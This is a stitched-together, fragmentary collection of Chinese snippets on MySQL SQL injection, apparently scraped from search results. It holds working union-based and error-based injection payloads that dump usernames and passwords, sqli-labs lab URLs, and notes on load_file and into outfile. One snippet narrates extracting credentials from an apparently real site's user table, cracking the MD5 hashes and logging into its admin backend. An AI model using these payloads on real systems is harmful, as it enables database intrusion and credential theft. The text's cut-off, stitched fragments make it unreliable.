id=-1' union select 1,database(),group_concat(id,username,password) from users --+ 8.查出的字段值用户名和密码难区分,可以利用concat_ws()调整回显的字符串格式,例如concat_ws(0x7e,id,username,password),0x7e十六进制代表~符
id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+ ?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information...
3.Concat_ws()函数: 刚才有讲到分隔符便于我们的查看,concat_ws()函数就是方便我们的,避免在每一个字段前加上分隔符,SQL语句如下: SELECT CONCAT_WS(0x7e,username,password,VERSION()),email FROM users 这样用着稍微方便一些~ 4.Group_concat()函数 SQL语句: SELECT GROUP_CONCAT(username),email FROM users...
concat(str1,str2,str3...)中间只要字符串有一个为null,最后结果也为null,注意 ‘null’ 和 null 不一样(区别同 ‘1’ 和 1) concat_ws(‘指定分隔符’,str1,str2,str3...)它会自动忽略中间的空值,只有分隔符为空,整体才返回空 group_concat(field_name1, field_name2, field_name3...) 把某...
http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3%23 八、获取列中的信息 http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select concat_ws(char(32,...
concat_ws() 含有分隔符地连接字符串 current_user() 当前用户名 group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据 session_user() 连接数据库 的用户名 load_file() 读取本地文件 database() 数据库名 into outfile 写文件 version() 数据库版本 ...
'+union+select+1,2,group_concat(concat_ws(':',username,password)),4,5,6,7,8+from+college.univ_user--+ 然后拿去解密,我猜应该是MD5加密,试试运气能不能解出来: 哈哈,功夫不负有心人,直接拿下了,于是找到该网站后台:zzzzzzzzzzzzzzzzzzzzz/i 输入得到的账户密码: 成功登陆: 哈哈,千辛万苦,万...
12、concat_ws()含有分隔符的连接字符串 13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据 14、load_file()读取本地文件 15、into outfile 写文件 16、ascii()字符串的ASCII代码值 17ord()返回字符串第一个字符的ASCII值 18mid()返回一个字符串的一部分 ...
group_concat 函数是将多行数据连接成一行 select group_concat(schema_name) from information_schema.schemata; 查询表 1.方法1 select group_concat(table_name) from information_schema.tables where table_schema=database(); 2.方法2 select table_name from information_schema.tables where table_schema=‘da...